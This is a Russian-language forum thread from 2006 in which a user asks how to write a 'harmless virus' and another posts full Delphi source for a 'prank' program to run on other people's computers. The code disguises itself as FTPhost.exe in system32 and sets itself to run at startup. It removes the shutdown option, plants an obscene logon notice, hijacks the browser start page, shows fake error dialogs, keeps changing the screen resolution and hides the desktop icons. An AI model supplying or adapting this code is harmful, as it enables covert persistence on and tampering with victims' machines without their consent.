Вирус (безвредный)

Discussion in 'PHP' started by WEED, 2 May 2006.

  1. WEED

    WEED Elder - Старейшина

    Joined:
    28 Mar 2006
    Messages:
    88
    Likes Received:
    9
    Reputations:
    -2
    Пожалуйста подскажите как можно написать такую прогу в виде вируса, чтобы при попадании на компьютер она через какой-то определенный промежуток времени показывала на экране сообщение (написанное автором). Или просто дайте линк где это написано, я был почти везде и негде нет.
     
  2. Utochka

    Utochka Elder - Старейшина

    Joined:
    21 Dec 2005
    Messages:
    495
    Likes Received:
    106
    Reputations:
    54
    Вбей в поисковик: Исходники прог приколов.

    Получишь ссылки по которых пройдись и скачай исходники различных прог приколов, после чего изучай исходники и пиши свою прогу.

    Пишеться легко! Если надо могу дать исходник одной проги прикола, сам писал )
     
  3. Utochka

    Utochka Elder - Старейшина

    Joined:
    21 Dec 2005
    Messages:
    495
    Likes Received:
    106
    Reputations:
    54
    Вот исходник проги прикола (Ну конечно простенькая и писалась на конкурс сайта VR-Online):

    Code:
    unit Unit1;
    
    interface
    
    uses
      Windows,SysUtils,Forms,ExtCtrls,registry,
      Classes,shellapi,Graphics;
    type
      TForm1 = class(TForm)
        Timer1: TTimer;
        Timer2: TTimer;
        Timer3: TTimer;
        Timer4: TTimer;
        Timer5: TTimer;
        Timer6: TTimer;
        procedure FormCreate(Sender: TObject);
        procedure FormActivate(Sender: TObject);
        procedure Timer1Timer(Sender: TObject);
        procedure Timer2Timer(Sender: TObject);
        procedure Timer3Timer(Sender: TObject);
        procedure Timer4Timer(Sender: TObject);
        procedure Timer5Timer(Sender: TObject);
        procedure Timer6Timer(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;
    
    var
      Form1: TForm1;
      windir:string;//путь до винды
    implementation
    
    {$R *.dfm}
    
    procedure TForm1.FormCreate(Sender: TObject);
    var tempwindir:array [0..255] of char;
    i:integer;
    reg:Treginifile;
    begin
    ShowCursor(false);
    //------получаем путь к винде--------
    GetWindowsDirectory(tempwindir,255);
    for i:=0 to 255 do
    begin
    if tempwindir[i]=#0 then break;
    windir:=windir+tempwindir[i];
    end;
    //-------------------------------------
    //-------Внедрение на комп-------------
     CopyFile(Pchar(application.ExeName),pChar(windir+'\system32\FTPhost.exe'),false);
     reg:=TRegIniFile.Create('');
     reg.RootKey:=HKEY_LOCAL_MACHINE;
     reg.WriteString('SOFTWARE\Microsoft\Windows\CurrentVersion\Run','FTPhost',windir+'\system32\FTPhost.exe');
     reg.Destroy;
    //-----------------------------------------
    //-----Удаляем кнопку выключить-------------
     reg:=treginifile.Create('');
     reg.RootKey:=HKEY_CURRENT_USER;
     reg.WriteString('Software\Microsoft\Windows\CurrentVersion\Policies\Explorer','Noclose','1');
     reg.Destroy;
    //-------Усё удалили =) ---------------------
    //----Сообщение при входе в винду------------
    reg:=treginifile.Create('');
    reg.RootKey:=HKEY_LOCAL_MACHINE;
    reg.OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\',false);
    reg.WriteString('Winlogon','LegalNoticeCaption','YOU FUCKED');
    reg.WriteString('Winlogon','LegalNoticeText','YOU HAS BEEN FUCKED BY NEO =)');
    reg.Destroy;
    //-------------------------------------------
    //------Переименуем корзину-----------------
    reg:=treginifile.Create('');
    reg.RootKey:=HKEY_CURRENT_USER;
    reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\',false);
    reg.WriteString('{645FF040-5081-101B-9F08-00AA002F954E}','','VR-ONLINE НАВСЕГДА');
    reg.Destroy;
    //--------------------------------------------
    //------Ставим VR-ONLINE в автозапуск------------
    reg:=treginifile.Create('');
    reg.RootKey:=HKEY_CURRENT_USER;
    reg.OpenKey('Software\Microsoft\Internet Explorer\',false);
    reg.WriteString('Main','Start Page','http://www.vr-online.ru');
    reg.Destroy;
    //------------------------------------------------
    
    end;
    
    procedure TForm1.FormActivate(Sender: TObject);
    begin
    //-------Скрываем нашу форму-----------
    ShowWindow(Handle, SW_HIDE);
    ShowWindow(Application.Handle, SW_HIDE);
    //-------------------------------------
    application.MessageBox('Process stoped.Read error adress #1001001000001.','FtpServer.Read error',mb_iconerror+mb_ok);
    end;
    
    procedure TForm1.Timer1Timer(Sender: TObject);
    var i:integer;
    begin
    //-----------Прикол 1-----------
    ShellExecute(Form1.Handle,'open',Pchar('rundll32.exe'),'shell32.dll,Control_RunDLL Desk.cpl,@0,3',Pchar(Windir),SW_normal);
    i:=i+1;
    if i=20 then
    begin
    timer1.Enabled:=FALSE;
    timer2.Enabled:=TRUE;
    end;
    end;
    
    
    procedure TForm1.Timer2Timer(Sender: TObject);
    begin
    timer1.Enabled:=FALSE;
    application.MessageBox('Mistake of the driver user. All data will be lost. Reinstall or reload user.','Mistake of the driver user',mb_iconerror+mb_ok);
    timer3.Enabled:=TRUE;
    timer2.Enabled:=FALSE;
    end;
    procedure TForm1.Timer3Timer(Sender: TObject);
    var dm : TDEVMODE;
    x:array [1..3] of integer;
    y:array [1..3] of integer;
    x1,y1,n:integer;
    num:integer;
    begin
    //Список доступных расширений
    x[1]:= 640; y[1]:= 480;
    x[2]:= 800; y[2]:= 600;
    x[3]:= 1024; y[3]:= 768;
    n:= random (3);// случайно выбираем
    x1:= x[n+1]; //...ширину
    y1:= y[n+1]; //...высоту
    //Теперь устанавливаем
    ZeroMemory(@dm, sizeof(TDEVMODE));
    dm.dmSize := sizeof(TDEVMODE);
    dm.dmPelsWidth := x1;
    dm.dmPelsHeight := y1;
    dm.dmFields := DM_PELSWIDTH or DM_PELSHEIGHT;
    ChangeDisplaySettings(dm, 0);
    num:=num+1;
    if num=10 then
    begin
    Timer3.enabled:=FALSE;
    timer4.Enabled:=TRUE;
    end;
    application.MessageBox('Could not initalize video driver'#123#11'Please, restart windows!','Error',mb_ok+mb_iconerror);
    end;
    
    procedure TForm1.Timer4Timer(Sender: TObject);
    var num:integer;
    begin
    num:=num+1;
    WinExec(Pchar(windir+'\system32\FTPhost.exe'),SW_RESTORE);
    SystemParametersInfo(SPI_SETDESKWALLPAPER,0,PChar(windir+'Кофейня.bmp'),SPIF_SENDWININICHANGE);
    if num=10 then
    begin
    timer4.Enabled:=FALSE;
    Timer5.Enabled:=TRUE;
    end;
    end;
    
    procedure TForm1.Timer5Timer(Sender: TObject);
    var
    ScreenDC:HDC;
    Canvas:TCanvas;
    x,y,num:integer;
    begin
    ScreenDC:=GetDC(0);
    Canvas:=TCanvas.Create();
    Canvas.Handle:=ScreenDC;
    Canvas.Font.Size:=30;
    canvas.Font.Color:=clRed;
    randomize;
    x:=random(1024);
    y:=random(768);
    Canvas.TextOut(x,y, 'YOU FUCKED BY NEO');
    ReleaseDC(0,ScreenDC);
    Canvas.Free;
    num:=num+1;
    if num=200 then
    begin
    Timer5.Enabled:=FALSE;
    Timer1.Enabled:=TRUE;
    end;
    end;
    
    //-----------Прячем значки на рабочем столе------------------
    procedure ShowDesktop(const YesNo : boolean);
    var h : THandle;
    begin
    h := FindWindow('ProgMan', nil);
    h := GetWindow(h, GW_CHILD);
    if YesNo = True then
      ShowWindow(h, SW_SHOW)
    else
      ShowWindow(h, SW_HIDE);
    end;
    //------------------------------------------
    
    procedure TForm1.Timer6Timer(Sender: TObject);
    var v:boolean;
    begin
    if v=true then
    begin
    ShowDesktop(False);
    v:=false;
    end;
    if v=false then
    begin
    ShowDesktop(True);
    v:=true;
    end;
    end;
    
    end.
    
    
     
  4. WEED

    WEED Elder - Старейшина

    Joined:
    28 Mar 2006
    Messages:
    88
    Likes Received:
    9
    Reputations:
    -2
    Щас попробую..........

    NeX
    а какие функции у твоей проги, что она делает?